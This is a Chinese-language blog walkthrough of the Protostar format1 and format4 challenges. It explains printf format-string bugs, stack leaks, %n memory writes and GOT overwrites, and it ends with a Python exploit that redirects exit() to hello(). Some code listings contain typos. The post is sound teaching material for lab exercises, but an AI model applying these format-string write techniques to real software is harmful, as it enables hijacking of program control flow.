Fomat String exploit example-format-bin-0x08

什么是格式字符串
  C中最常见最著名的函数是printf,printf将会格式化输出数据到stdout。
  int printf(const char format, …);
printf读取格式字符串并找到’%
’, %*决定了后面跟着的参数的类型。

format1.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#Include <stdlib.h>

int target ;
void vuln(char *string){
	printf(string);
	if (target) {		
		printf("You have modified the target: \n");
	}
}

int main(int argc, char *argv[]){
	vuln(argv[1]);
}

对于format1而言,如何才能控制target值。先来尝试打印一下argv[1]的内容。
在这里插入图片描述
我们将堆栈的地址打印了出来…函数的调用方式就是将将参数放在堆栈上,然后调用该函数。因此,当我们使用printf函数,打印的变量是在堆栈上,显然我们读取了printf在堆栈中的随机存储内容。
  我们可以做什么?首先,它是一个内存泄露漏洞,可以从堆栈中泄露很多内容。想象一下你有一个ASLR的程序,这意味着堆栈在内存中位置是随机的。你不知到它在哪里,但你需要缓冲区溢出的地址跳转到shellcode。通过这个方法,你能从进程内存中泄露值,具体来说是从堆栈中,因此可能存在堆栈地址泄露。然后可以在第二步中使用缓冲区溢出。
  在format1的情况下,如何利用它来修改target的值。目前看来只能利用堆栈泄露值。查看一下printf的帮助手册,在BUGS部分有介绍到:如果printf输入的内容来自一个不受信任的用户,它可以通过包含%n,printf调用写入内存从而导致一个安全漏洞。
  %n 的作用将到目前为止写入的字符数存储到相应参数指向的位置。要找到这个位置,然后使用指针。事情变的明了了。
  让我们使用objdump -t 来查看而进制文件的所有符号,找到target的地址
在这里插入图片描述
现在我们想要利用printf在这个位置写东西,所以必须在堆栈上利用和找到这个地址。
直接从命令行通过python -c执行脚本来协助我们打印测试字符串,通过添加一些字符"A"来确定测试printf的打印情况。
在这里插入图片描述
这意味着我们可以将target变量的地址添加到这里,然后使用%n替换打印此地址的%x,这需要花费一点时间。
在这里插入图片描述
想象一下,如果我们可以在内存中的任何地方写入覆盖一些东西。重定向代码执行。

让我们查看另外一个挑战format4,首先先查看一下代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

itn target;
void hello(){
	printf("code execution redirected! you win\n");
	_exit(1);
}

void vuln(){
	char buffer[512];
	fget(buffer, sizeof(buffer), stdin);
	printf(buffer);
	exit(1);
}

int main(int argc, char *argv[]){
	vuln();
}

我们将介绍C程序如何使用像libc这样的共享库。具体来说,我们将查看全局偏移表(GOT)和过程链接表(PLT)。
一个简单的程序

int main(){
	printf("Hello World!\n");
	printf("This is Liveoverflow\n");
	exit(0);
	return 1;
}

没有做任何定义,它们来自libc,当我们编译这个文件时lic将动态链接到这个二进制文件。这意味着libc不是内部的。使用ldd,我们可以看到二进制文件引用的动态库,还显示了libc在我们系统上的路径,这意味着libc的更新不会影响二进制文件,不需要重新编译我们的binnary。libc的基地址是随机的(ASLR)。
那么当我们必须要知道确切的地址时,如何将二进制文件编译成汇编程序呢?可以创建一个调用指令吗?这就是PLT和GOT发挥作用的地方。使用radar2反汇编这个二进制文件,看一下main函数
在这里插入图片描述
我们的printf()函数不见了,多出两个puts()调用(编译优化)。
启用ASLR,libc的位置将始终是随机的,但二进制文件中全局偏移量地址始终是固定的,所以,当可以读取全局偏移表的条目时,该表是libc的一个地址,然后可以使用它来计算libc的其它位置的偏移量。
在protostar format4的代码中发现vuln函数的最后执行的exit(1),这意味着函数永远无法返回,而是执行内核的syscall退出,这将退出程序。因此,我们像之前一样覆盖函数的返回指针,我们将无法利用它。
这里要覆盖上面提到的GOT表,我们要将GOT的exit地址覆盖为hello函数的地址。

懒的解释了,直接附上exp

import struct

HELLO = 0x80484b4
EXIT_PLT = 0x8049724

def pad(s):
	return s+"X"*(512-len(s))

exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += "%4$33956x"
exploit += "%4$n"
exploit += "%33616x"
exploit += "%5$n"

print pad(exploit)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值